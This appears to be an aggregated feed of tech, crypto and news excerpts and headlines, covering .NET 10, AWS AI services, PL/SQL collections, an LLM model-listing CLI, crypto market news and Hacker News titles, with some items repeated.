    .NET 10 (LTS) marks a powerful leap forward in modern software development, bringing enhanced performance, smarter tooling, stronger security, and a seamless developer experience across cloud, web, mobile, and desktop applications. This release not only improves speed and efficiency but also deepens integration with AI-driven development and cloud-native architectures, making it easier than ever for developers and organizations to build scalable, future-ready solutions. Boosted Performance & Efficiency: .NET 10 delivers major runtime and JIT optimizations, resulting in faster execution, reduced memory usage, and overall improved app responsiveness. Enhanced AI & Cloud-Native Support: Built-in improvements for AI-assisted development and stronger integration with cloud-native architectures make it easier to build intelligent, scalable, and modern applications. Conclusion In conclusion, .NET 10 (LTS) sets a strong foundation for the future of application development, combining performance, security, and modern tooling into a unified, developer-friendly platform. With its powerful new features and long-term support, it empowers teams to build scalable, high-quality solutions that are ready to meet today’s demands and tomorrow’s innovations.  ( 6 min )
    The Real Cost of AI: AWS Bedrock vs. OpenAI vs. Self-Hosting 💰
    "How much will this cost?" 💸 This is the #1 question every CTO asks. And usually, the answer is "It depends." But "it depends" doesn't pay the bills. In this post, we are going to do the math. We will compare the costs of running a production AI app using AWS Bedrock, OpenAI, and Self-Hosted Open Source Models. Most managed AI services charge by the "Token" (roughly 0.75 words). As of late 2024, these are the two kings. Model Input Cost (per 1M tokens) Output Cost (per 1M tokens) OpenAI GPT-4o $5.00 $15.00 Bedrock Claude 3.5 Sonnet $3.00 $15.00 The Verdict: Claude 3.5 Sonnet on Bedrock is cheaper on input. OpenAI is great, but for Enterprise, it has hidden costs: Data Privacy: If you need a private instance, "ChatGPT Enterprise" starts at ~$60/user/month with high minimums.…  ( 7 min )
    Industries Where Your C Code Saves Lives (And They're Hiring)
    Between 1985 and 1987, a radiation therapy machine called the Therac-25 killed three people and seriously injured three others. The machine was supposed to deliver controlled doses of radiation to cancer patients. Instead, it delivered radiation doses hundreds of times higher than intended. The cause? A race condition in the C code controlling the machine. When an operator entered treatment parameters too quickly, the software would configure the machine for high-energy electron mode while the safety mechanisms thought it was in low-energy X-ray mode. The patients received massive radiation overdoses. One victim, a 33-year-old woman, felt an intense burning sensation during treatment. She died from radiation poisoning. Another patient, a man receiving treatment for a tumor, received such a…  ( 11 min )
    Meet Amazon Q: The AI Assistant That Actually Knows Your Codebase 🦄
    The Problem with "Generic" AI 🤖 We all love ChatGPT. But have you ever tried to ask it about a specific error in your company's private code? "I'm sorry, I don't have access to your internal repositories." Or asked it why your specific AWS bill is so high this month? "I cannot access your real-time billing data." This is the "Context Gap." Generic AI is smart, but it's blind to your work. Enter Amazon Q. Think of Amazon Q as an AI assistant that lives inside your AWS account and your IDE (VS Code / IntelliJ). It’s not just trained on the internet; it connects to your data: Your Code: It reads your private Git repos. Your AWS Environment: It knows what EC2 instances you have running. Your Docs: It can read your internal Confluence wikis and PDFs. You can install Amazon Q as a plugin i…  ( 7 min )
    Beyond CRUD: The Developer’s Ascent – A Story of Growth
    Based on my personal experience. But blend with a Journalist-like story to make it more interesting. Kuala Lumpur — It’s a scene familiar to many in the tech world: a young developer, lit by the glow of a laptop screen, celebrates the launch of their first simple web application. But for seasoned software engineer Ahmad (not his real name), that moment was just the first step of a decade-long journey climbing from novice coder to technical architect—a journey marked less by the mastery of CRUD (Create, Read, Update, Delete) and more by a relentless pursuit of growth and complexity. “I still remember the first time my own app let someone add and delete a note,” Ahmad recalls. “It felt like magic. CRUD opened the gate to programming for me. But I eventually realized it’s really just basic s…  ( 8 min )
    Build Your First AI App in 60 Seconds (No Coding, No Credit Card) 🎸
    The "Fun" Side of AWS 🎉 Usually, when people talk about AWS, they talk about servers, databases, and billing alarms. 😴 But recently, AWS released something completely different. It’s called PartyRock, and it’s the most fun I’ve had with AI in years. Here is the pitch: No AWS Account required. (Yes, really). No Credit Card required. No Coding required. 100% Free (for now). It lets you build your own "Mini AI Apps" just by describing them. Anything that takes text in and gives text/images out. A "Dad Joke" Generator 🥸 A "Meal Prep" Planner 🥦 A "Dungeons & Dragons" Storyteller 🐉 A "Professional Email" Rewriter 📧 We are going to build an app where you type in a person's interests, and it suggests 3 unique gifts + generates an image of the wrapping paper. Head over to …  ( 7 min )
    The New Era of AI Browsers — Why Search Will Change Forever in 2025
    > By FlameAI Studio ⭐ Introduction Search is entering its biggest shift since the early 2000s. A new category is rising fast: AI browsers — tools like Arc Search, Perplexity, Rabbit, and Rewind that search for you instead of showing you a list of links. This is not a small UX tweak. new way of interacting with the internet. In 2025, AI browsers will become the main gateway to information — and creators, developers, and businesses must adapt now. 🔍 What Is an AI Browser? An AI browser does two things that traditional browsers don’t: 1. Searches on your behalf Instead of typing keywords → clicking links → scanning pages, 2. Understands intent, not keywords AI browsers don’t rely on exact-match terms. “Find the best free puzzle sites” “Compare cognitive models behind 16-type personality …  ( 8 min )
    The AWS AI Architect's Cheat Sheet: Patterns, POCs, and Blueprints 🏗️
    Stop Reinventing the Wheel 🛑 When you start building with AI on AWS, you'll realize something quickly: Everyone is trying to solve the same problems. "How do I chat with my PDF documents?" (RAG) "How do I run this cheaply without managing servers?" (Serverless) "How do I make the AI take action, not just talk?" (Agents) The good news? AWS has already published production-ready blueprints for these. In this post, I’ve curated the best architectural patterns and Proof-of-Concept (POC) repositories directly from the AWS team. Treat this as your "Cheat Sheet" for starting any AI project. The Problem: LLMs (like Claude or GPT) don't know about your private data. They hallucinate when asked about your specific company policies. The Solution: Retrieval Augmented Generation (RAG). You "re…  ( 8 min )
    Build Your First AI App in 10 Minutes: A Non-Coder’s Guide to AWS AI 🚀
    So, You Want to Build with AI? 🤖 Let’s be honest: "Artificial Intelligence" sounds intimidating. You picture complex math, endless lines of Python code, and expensive supercomputers. But here’s the secret: You don’t need to build the brain. You just need to know how to talk to it. Today, cloud giants like AWS (Amazon Web Services) have done the hard work for us. They’ve wrapped powerful AI models into simple "services" that you can use like Lego blocks. In this guide, I’ll show you how a complete beginner can start using AWS AI services to build real, working applications. No PhD required. Imagine having access to the smartest AI models in the world (like Claude, Llama, or Stable Diffusion) all in one place. That’s AWS Bedrock. It’s not a model itself; it’s a gallery of models. You walk…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, giving the 1978 musical The Wiz a no-holds-barred “everything wrong” breakdown—just in time for Wicked’s big-screen return. Expect their signature snark as they rip into plot holes, odd song choices, and any wink-and-nod goofs they can find in under 15 minutes. They’ve also packed the video description with all the good stuff—links to their main site, social channels, a sinful poll, Patreon support, Discord, Reddit, and even Jeremy’s book—so you can keep the fandom (and the nitpicking) going long after the credits roll. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a cheeky rundown of the movie’s biggest goofs, quirks and Easter eggs. Beyond the video, they’re hyping up their website, Discord, Reddit community and socials, plus a poll and Patreon for fans who want to dive deeper. They also drop a shout-out to their writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and a full lineup of links so you can binge their other content on YouTube, Instagram, TikTok and more. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The Experiment Ojalá, performed using Perplexity AI, showed the new algorithm detects triangles in large graphs over 100x faster than NetworkX, with results visualized and benchmarked for accuracy and speed.
    Experiment Ojalá Frank Vega ・ Nov 23 #ai #performance #productivity #python  ( 6 min )
    I Solo-Built a Gamer Social Network in 9 Months
    Nine months ago I did the thing every self-hating coder does: I started a project I probably shouldn’t. Fast forward, and somehow I solo-built a production-ready social media platform called 404Nerds — a community for gamers, game designers, and anyone who loves nerd culture. I built it in Ruby on Rails (because why not, Rails is still awesome). Right now we’ve got ~15 active users posting 2–3 times a day. Not huge, but hey, for a place no one’s heard of, I’ll take it. Why am I sharing this? Part bragging rights, part looking for feedback, and part inviting you to join. If you want to be part of a scrappy new community, check out 404Nerds Drop a post, share a meme, or just lurk — all welcome.  ( 6 min )
    Understanding PL/SQL Collections: Associative Arrays, Nested Tables, and VARRAYs
    In the last blog post, I discussed a record, which is a composite data type. In this blog, I’ll talk about another composite data type: a collection. According to Oracle documentation, “A collection is an ordered group of data elements, all of the same type.” A collection is a data structure similar to a list or array in other programming languages. PL/SQL supports three types of collections: Associative arrays, Nested tables, and Varrays. Associative Arrays Nested Tables VARRAYs *single-dimensional: A PL/SQL collection always has just a single column of information in each row. *bounded and unbounded: A collection is bounded if it has predetermined limits for the number of rows. An unbounded collection has no upper or lower row limits. Let’s take a closer look at each type. Associative A…  ( 8 min )
    Experiment Ojalá
    Aegypti Analysis Using Perplexity AI Frank Vega Information Physics Institute, 840 W 67th St, Hialeah, FL 33012, USA vega.frank@gmail.com The Aegypti algorithm dramatically outperforms standard approaches on dense triangle-free graphs while remaining competitive on triangle-rich graphs. Aegypti delivers significant speedups—up to over 100x faster than NetworkX on some dense or structured graphs—while incurring no overhead on triangle-free graphs and performing competitively on triangle-rich graphs. import networkx as nx import time import matplotlib.pyplot as plt import numpy as np # --- AEGYPTI ALGORITHM --- def find_triangle_coordinates(graph, first_triangle=True): if not isinstance(graph, nx.Graph): raise ValueError("Input must be an undirected NetworkX Graph.") if nx…  ( 9 min )
    Global Optimization: Finding the Needle in a Haystack – Faster by Arvind Sundararajan
    Global Optimization: Finding the Needle in a Haystack – Faster Imagine searching for the perfect drug molecule, a revolutionary battery material, or the optimal investment strategy. Traditional optimization methods often get stuck in local optima, missing the truly best solution and wasting valuable resources. What if there was a more efficient way to navigate these complex landscapes? Introducing a novel approach to global optimization, one that dramatically accelerates the search for optimal solutions in high-dimensional, "black box" problems. This algorithm intelligently explores the search space, focusing its efforts on the most promising regions while avoiding premature convergence on suboptimal answers. It's like having a smart compass that quickly guides you towards the global opt…  ( 7 min )
    dev diary 20251122
    getting user information after sign in. with AWS amplify gen2 and next.js, how to get user information after sign in ? in previous version of amplify gen1, Authenticator's user object has all the user information and can be get ,for example, by 'user.attribute.nickname'. but now actually i can't get with this user object. instead, i use 'fetchUserAttributes' to get user profile. the code is following; import { fetchUserAttributes } from 'aws-amplify/auth'; interface UserAttributes { [key: string]: string; } const [userAttributes, setUserAttributes] = useState(null); const getUserAttributes = useCallback(async () => { try { const attributes = await fetchUserAttributes(); setUserAttributes(attributes as UserAttributes); } catch (error) { console.error('Error fetching user attributes:', error); setUserAttributes(null); } }, []); this userAttributes has the information. and we get it with 'userAttributes.nickname' by each property.  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Why Every Newbie in Tech Should Start With Python
    When most people decide to enter tech, the first big question they face is: “Which programming language should I start with?” Everyone has an opinion. But after learning, struggling, and teaching beginners myself, one truth stands out clearly: Python is the best first language for anyone starting their tech journey. Let me tell you why. 1. Python Thinks Like Humans Do When you read Python code, it feels like reading English. if age > 18: print("You are an adult") No strange symbols. For beginners, this matters a lot. understanding programming, not fighting the syntax. 2. It Gets You Results Fast Python lets you build something quickly: ✔ A calculator ✔ A password generator ✔ A small game ✔ A chatbot ✔ A data analyzer Seeing your code work early gives you confidence to keep going. …  ( 7 min )
    Dear developers, understand this: if you can build it in a weekend, someone can kill it in a weekend.
    VCs Are Betting on AI Startups, But They're Missing This Jaideep Parashar ・ Nov 23 #ai #webdev #productivity #career  ( 6 min )
    VCs Are Betting on AI Startups, But They're Missing This
    VCs are throwing money at AI startups faster than any funding cycle I’ve seen in years. But here’s the part people don’t talk about: VCs are over-indexing on the wrong things and underestimating the one factor that will actually decide the next wave of winners. After watching hundreds of pitches, products, and founders trying to ride the AI wave, here’s the truth I’ve learned: VCs are betting heavily on capability, but the real leverage in AI comes from distribution + behaviour change. Let me explain what they’re missing. 1. The Market Is Overcrowded With LLM Wrappers This is the biggest blind spot. More than 70% of AI startups today are: thin wrappers on top of OpenAI UI skins on top of the same APIs task-specific tools without real defensibility “AI-powered X for Y” apps with zero switch…  ( 12 min )
    Artigo foda!
    Análise de Vetores de Ataque em Arquitetura de Aplicações Web Obtuosa ・ Nov 22 #web #architecture #vulnerabilities #security  ( 6 min )
    KEXP: MJ Lenderman - Rip Torn (Live on KEXP)
    TL;DR Indie songwriter MJ Lenderman rips through his track “Rip Torn” live in the KEXP studio (recorded September 18, 2025), backed by his crew: Landon George on bass/fiddle, Jon Samuels on guitar, Trevor Nikrant on pedal steel/keys, and Avery Sullivan on drums. Cheryl Waters hosts, Kevin Suggs handles audio engineering, and Matt Ogaz masters the session to sonic perfection. Behind the scenes, five camera operators (Jim Beckmann, Carlos Cruz, Leah Franks, Scott Holpainen & Luke Knecht) and editor Jim Beckmann make the visuals pop. Check out more at mjlenderman.com or kexp.org—plus, if you’re feeling extra, you can join MJ’s YouTube channel for perks. Watch on YouTube  ( 6 min )
    Stop Building Indie SaaS the Hard Way
    In my experience, developers burn months writing boilerplate, chasing config drift, and IaC before a single user arrives. The market rewards velocity, not heroics. Ship slower than your competitors and your idea dies, even if it's better. Here’s what I'm doing: Use a production-grade monorepo starter that forces discipline, standardization, and speed. TurboRepo plus a unified stack. Next.js for web, NestJS for backend and Expo for native. This delivers predictable builds, consistent types, shared UI libraries, and zero-friction DX. The result: one mental model, one dependency graph, one build pipeline. This structure eliminates 80% of early-stage chaos: mismatched TypeScript configs, duplicated components, fragmented API contracts, and slow local iterations. Shared packages consolidate types, UI primitives, and business logic. You stop gluing pieces together and start building business solutions. Most developers still opt for scattered repos, mismatched stacks, and brittle hand-rolled infra. That choice kills momentum. The fastest teams centralize everything, standardize aggressively, and automate the boring work out of existence. If you want leverage, the formula is: one repo, one toolchain, one source of truth. The devs who adopt this pattern dominate velocity metrics and out-ship teams twice their size.  ( 6 min )
    The Future of UX: Robotics, Telepresence, and the Rise of Human-in-the-Loop Design
    For decades we imagined a world where our physical presence could be projected anywhere, where a machine could act as our stand-in while we remained comfortably at home. What once lived in science-fiction now sits at the edge of reality. Robotics is advancing, AI is accelerating, and a new design frontier is forming in the space between the two. In this article, I want to explore what the next generation of UX looks like when robots, remote operation, and human-in-the-loop systems blend into everyday products. Not as speculation, but as an honest look at where the market is quietly heading. A Shift From AI Hype to Practical Robotics We are living through an era where every product attempts to attach the AI label. However, underneath the noise is a more grounded evolution: ma…  ( 9 min )
    Fiat Omnia
    Deep Code Audit: fiat_rootkit_diagnostic.sys Audit Metadata SHA-256: u4v5w6x7y8z9a0b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x Author: Anonymous (post-1971 monetary prophet) Commit Hash: 2025-11-22 (base: Full-stack fiat indictment) Runtime: Civilisational daemon + temporal horizon stack Risk Tier: CIVILISATIONAL (reality stack annihilation) The System: The Bug: The Result: Rootkit—a hidden virus that rewires the system to favour gamblers over builders. It determines the structure of our relationships, the fidelity of our knowledge, and the quality of the things we build. Purpose of this Log: fiat_rootkit_diagnostic.sys is a nine-layer indictment of unbacked, inflating currency. The audit concludes that fiat is not merely policy; it is applied ontology. When the unit of account is de…  ( 10 min )
    Maximize Developer Revenue with Monetzly's AI Conversation Tools
    When Ads Become Helpful Suggestions Instead of Interruptions: Enter Monetzly 🌟 In today's fast-paced tech landscape, AI applications are rapidly proliferating. As a developer, you’ve probably faced the challenge of monetizing your innovative creations without compromising user experience. What if there was a way to turn this challenge into an opportunity? Meet Monetzly, the Google Ads for AI conversations, where contextual commerce meets seamless integration. Imagine your users engaged in a conversation with your AI application, and instead of being interrupted by irrelevant ads, they receive suggestions that enhance their experience. This is the power of context-aware commerce. With Monetzly, we leverage AI to match ads with ongoing conversations, creating a flow that feels natural an…  ( 7 min )
    2025: AI-Assisted Developers Are Shipping Faster Than Ever
    The rise of AI-powered development tools is reshaping how teams build digital products. Fresh Snapshot (2025): Teams using AI-assisted coding ship 28% faster. Automated testing reduces bugs by 31%. Multi-stack developers adopting AI workflows see 19% higher project success rates. The future belongs to developers who combine AI + engineering + multi-stack execution.  ( 6 min )
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search Tired of getting stuck in local minima when training complex machine learning models? Is hyperparameter tuning feeling more like a frustrating guessing game than a systematic process? Many real-world optimization problems are black boxes; we can't peek inside to calculate gradients, leaving us groping in the dark. What if there were a way to efficiently navigate these complex landscapes without relying on gradient information? Enter adaptive search, a powerful technique that strategically explores the solution space, learning from each evaluation to intelligently guide the next. It's like having a smart scout who only reports back the most promising areas, saving you precious computational resources. The core idea i…  ( 7 min )
    How I Optimized an Extremely Slow Oracle SQL Query (Real Case Study)
    In enterprise environments with large data volumes, SQL queries can go from executing in seconds to taking minutes—or even hours—especially when they involve multiple tables, joins, and functions on indexed columns. In this post, I want to share a real-world experience optimizing an Oracle query that originally took far too long and how I drastically reduced its execution time by applying practical optimization techniques. It all began with a query that joined several tables across different schemas. Although the logic was correct, the execution time was unacceptable: Oracle was processing millions of rows without leveraging indexes effectively. After reviewing the execution plan, I identified several issues: Use of functions on indexed columns (like SUBSTR()), which invalidates index us…  ( 7 min )
    Learning AI From Scratch: Streaming Output, the Secret Sauce Behind Real-Time LLMs
    1. Why Streaming Output Matters Let’s start with the pain. That delay breaks immersion. Users think your app froze. Meanwhile, your front-end is hoarding tokens like a dragon hoards gold — waiting to render them all in one go. Streaming output fixes that. Instead of waiting for completion, your app receives small chunks (“token pieces”) as soon as they’re ready — like hearing someone speak word by word instead of reading their full paragraph later. It’s not about making the model faster. It’s about making the experience smoother. Technically, streaming output is incremental HTTP (or WebSocket) delivery. Token-by-token generation – LLMs don’t produce full sentences in one go; they predict tokens sequentially. Real-time pushing – each token (or short chunk) is sent back through a streaming…  ( 8 min )
    How Search Engines Actually Answer Your Questions
    In 2025, typing “best way to cancel a flight on X airline” into a browser rarely gives you just ten blue links anymore. You get: a one‑sentence summary, a step‑by‑step list, maybe even a “people also asked” carousel that weirdly reads your mind. Under the hood, that’s not “just a better search algorithm”. It’s a stack of question–answering (QA) systems: some reason over structured knowledge graphs, some run deep neural networks over raw web pages, and many glue the two together. This piece breaks down how that stack actually works, based on a production‑grade design similar to QQ Browser’s intelligent Q&A system.fileciteturn0file0 We’ll walk through: Where QA shows up in real products The two core paradigms: KBQA and DeepQA + MRC How a knowledge‑graph Q&A system is wired How search…  ( 15 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Build a Local Kubernetes Cluster in Minutes with Terraform and Multipass
    Are you looking for a way to spin up a lightweight, throwaway Kubernetes cluster on your local machine without the overhead of Docker Desktop or Minikube? Or maybe you want to simulate a multi-node environment to test node affinity and failover? In this article, we'll show you how to build a multi-node K3s cluster completely from code using the Multipass Terraform Provider. Multipass: Canonical's lightweight VM manager for Linux, Windows, and macOS. It spins up Ubuntu instances in seconds. Terraform: The industry standard for Infrastructure as Code (IaC). It manages the lifecycle, dependencies, and configuration of your VMs. K3s: A highly available, certified Kubernetes distribution designed for production workloads in unattended, resource-constrained, remote locations or inside IoT …  ( 8 min )
    llm_models: keeping up with LLM frontier model versions
    The Problem With the flurry of new LLMs published almost daily, it may be I built (with Claude Code help) a simple CLI app to list available models for the major providers. $ ./llm_models.py -h usage: llm_models.py [-h] -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} [-r REGION] List available LLM models from various providers options: -h, --help show this help message and exit -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI}, --provider {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} The LLM provider backend. - 'GoogleAI': Google AI Studio (API Key). Global/Auto-routed. - 'VertexAI': Google Cloud Vertex AI (IAM Auth). Region-specific. -r REGION, --region REGION Google Cloud region (e.g., 'us-central1'). *Required* if provider is VertexAI. Ignored for other providers. $ ./llm_models.py -p Anthropic Listing available Anthropic models... ================================================================================ Model: claude-haiku-4-5-20251001 (Claude Haiku 4.5) Model: claude-sonnet-4-5-20250929 (Claude Sonnet 4.5) Model: claude-opus-4-1-20250805 (Claude Opus 4.1) Model: claude-opus-4-20250514 (Claude Opus 4) Model: claude-sonnet-4-20250514 (Claude Sonnet 4) Model: claude-3-7-sonnet-20250219 (Claude Sonnet 3.7) Model: claude-3-5-haiku-20241022 (Claude Haiku 3.5) Model: claude-3-haiku-20240307 (Claude Haiku 3) Model: claude-3-opus-20240229 (Claude Opus 3) $ git clone git@github.com:ljbuturovic/llm_models.git $ python3 -m venv venv $ source venv/bin/activate $ ./llm_models.py -p GoogleAI Give it a try and let me know what you think in the comments!  ( 6 min )
  • Open

    State of Crypto: What Congress Has Left to Do This Year
    There is not a lot of time left for Congress to make meaningful progress this year on crypto issues.  ( 36 min )
    Sunrise Debut Streamlines Solana Token Imports as Monad Goes Live
    The platform introduces a unified gateway that allows issuers and users to move tokens from any ecosystem into Solana.  ( 34 min )
    Bitcoin Rebounds From 'Extreme Oversold' Levels; XRP Jumps 7%, ZEC Surges 14%
    Bitcoin and major altcoins bounced Sunday after an oversold RSI reading and more than $200M in liquidations signaled seller exhaustion amid thin weekend liquidity.  ( 35 min )
    Could Stablecoins Spark a New Contagion? BIS Warns, Coinbase Pushes Back
    Not all agree with some recent sentiment that stablecoins pose a threat to global financial stability.  ( 37 min )
    On-Chain Stocks Could Misprice Over Weekends, Triggering Arbitrage Risks: RedStone
    This gap could create a "price dislocation" between on-chain and traditional markets, leading to potential losses or arbitrage opportunities.  ( 36 min )
    Cardano Temporarily Splits Into Two Chains After Attacker Uses AI-Generated Script to Exploit a Known Bug
    The divergence emerged when newer nodes accepted a malformed transaction that older nodes rejected.  ( 35 min )
    VanEck CEO Concerned About Bitcoin's Encryption and Privacy, Says Firm Could Walk Away
    Jan van Eck questioned whether Bitcoin offers enough encryption and privacy, saying some longtime holders are examining Zcash as the market reassesses long-term assumptions.  ( 37 min )
    Chainlink Is ‘Essential Infrastructure’ for Tokenized Finance, Says Grayscale Research
    Grayscale's report comes shortly after it filed to convert its Chainlink Trust into an exchange-traded fund (ETF) that would trade on NYSE Arca.  ( 34 min )
  • Open

    Fran Sans – font inspired by San Francisco light rail displays
    Comments  ( 32 min )
    Native Secure Enclave backed SSH keys on macOS
    Comments  ( 3 min )
    SVG.js v3.2
    Comments  ( 2 min )
    Are consumers just tech debt to Microsoft?
    Comments  ( 13 min )
    HumanLayer (YC F24) Is Hiring Founding Engineers
    Comments  ( 4 min )
    Calculus for Mathematicians, Computer Scientists, and Physicists [pdf]
    Comments  ( 828 min )
    Raycast for Windows Is Here
    Comments  ( 5 min )
    Ask HN: Good resources to learn financial systems engineering?
    Comments
    73% of AI startups are just prompt engineering
    Comments
    Mount Proton Drive on Linux using rclone and systemd
    Comments  ( 10 min )
    Inmates at a Mississippi jail were ordered to do the guards' bidding
    Comments
    Court filings allege Meta downplayed risks to children and misled the public
    Comments  ( 53 min )
    UK minister ducks cost questions on nationwide digital ID scheme
    Comments  ( 5 min )
    Editing Code in Emacs
    Comments  ( 12 min )
    Gnome is better macOS than macOS
    Comments  ( 21 min )
    Debian Extended Long Term Support
    Comments  ( 1 min )
    Demand for UK Food Bank Up 15% Year on Year
    Comments  ( 17 min )
    Tosijs-schema is a super lightweight schema-first LLM-native JSON schema library
    Comments
    Racket v9.0
    Comments  ( 1 min )
    Claude Code Is Down
    Comments  ( 13 min )
    Gordon Bell finalist team pushes scale of rocket simulation on El Capitan
    Comments  ( 9 min )
    Maybe that's not liquid water on Mars after all
    Comments  ( 10 min )
    X.com Is Gonna Snitch You Out to the Public If You Use a VPN
    Comments  ( 20 min )
    Shaders: How to draw high fidelity graphics with just x and y coordinates
    Comments
    Deepnote (YC S19) is hiring engineers to build a better Jupyter notebook
    Comments  ( 11 min )
    Silicon Valley startups: being evil, again and again
    Comments  ( 18 min )
    Signal knows who you're talking to
    Comments  ( 11 min )
    Gemini 3 Just Made Larry Page World's Third Richest Man
    Comments  ( 50 min )
    After my dad died, we found the love letters
    Comments  ( 9 min )
    Google Revisits JPEG XL in Chromium After Earlier Removal
    Comments  ( 19 min )
    Cryptographers Held an Election. They Can't Decrypt the Results
    Comments
    Unusual circuits in the Intel 386's standard cell logic
    Comments  ( 27 min )
    MCP Apps just dropped (OpenAI and Anthropic collab) and I think this is huge
    Comments  ( 7 min )
    GCC SC approves inclusion of Algol 68 Front End
    Comments  ( 1 min )
    An Economy of AI Agents
    Comments  ( 2 min )
    Meta buried 'causal' evidence of social media harm, US court filings allege
    Comments
    Germany to classify date rape drugs as weapons to ensure justice for survivors
    Comments  ( 15 min )
    A Year Without Caffeine (2013)
    Comments
    A monopoly ISP refuses to fix upstream infrastructure
    Comments  ( 18 min )
    NTSB report: Decryption of images from the Titan submersible camera [pdf]
    Comments  ( 126 min )
  • Open

    Malaysia to bar Social Media accounts for under-16s from 2026
    The Malaysian government is officially drawing a hard line in the sand: if you’re under the age of 16, your social media days are numbered. Communications Minister Datuk Fahmi Fadzil has confirmed that starting next year, minors will be barred from creating social media accounts, effectively raising the minimum age requirement across the board. The […] The post Malaysia to bar Social Media accounts for under-16s from 2026 appeared first on Lowyat.NET.  ( 35 min )
    Toyota Vios Hybrid Spotted Testing In Malaysia
    The Toyota Vios Hybrid has been spotted in Malaysia, just months after its debut in Thailand where it is sold as the Toyota Yaris Ativ. The sighting was shared by Weng Ng in the paultan.org Automotive/Car Discussion Group on Facebook. Based on the images, the model appears to be undergoing testing, hinting at a potential […] The post Toyota Vios Hybrid Spotted Testing In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    X Rolls Out “About This Account” Feature
    X, formerly known as Twitter, has started rolling out a new “About this account” transparency feature that adds extra account information to user profiles. The update shows where an account is based, how many times its username has changed, when it originally joined the platform, and even how the user downloaded the app. According to […] The post X Rolls Out “About This Account” Feature appeared first on Lowyat.NET.  ( 34 min )
    You Can Play Command & Conquer Red Alert 2 On Your Browser
    Command & Conquer Red Alert 2 launched back in 2000 and is widely considered to be one of the best RTS titles ever released, campy and cheesy cutscenes notwithstanding. Now for the good news: the game can now be played directly on your browser. The feat and privilege of being able to play Red Alert […] The post You Can Play Command & Conquer Red Alert 2 On Your Browser appeared first on Lowyat.NET.  ( 34 min )
    Perplexity Rolls Out Its AI-Powered Comet Browser To Android
    Earlier this year, Perplexity announced its AI-powered browser, Comet. Initially only available for Perplexity Max plan subscribers, Comet was then rolled out to all users in early October. At the time, the company promised to bring the experience to mobile as well. And now, the Android version has officially arrived. Just like on other platforms, […] The post Perplexity Rolls Out Its AI-Powered Comet Browser To Android appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Lean4: How the theorem prover works and why it's the new competitive edge in AI
    Large language models (LLMs) have astounded the world with their capabilities, yet they remain plagued by unpredictability and hallucinations – confidently outputting incorrect information. In high-stakes domains like finance, medicine or autonomous systems, such unreliability is unacceptable. Enter Lean4, an open-source programming language and interactive theorem prover becoming a key tool to inject rigor and certainty into AI systems. By leveraging formal verification, Lean4 promises to make AI safer, more secure and deterministic in its functionality. Let's explore how Lean4 is being adopted by AI leaders and why it could become foundational for building trustworthy AI. What is Lean4 and why it matters Lean4 is both a programming language and a proof assistant designed for formal veri…

  • Open

    Building Multi-Touch Attribution in GA4 Without Hiring a Data Analyst
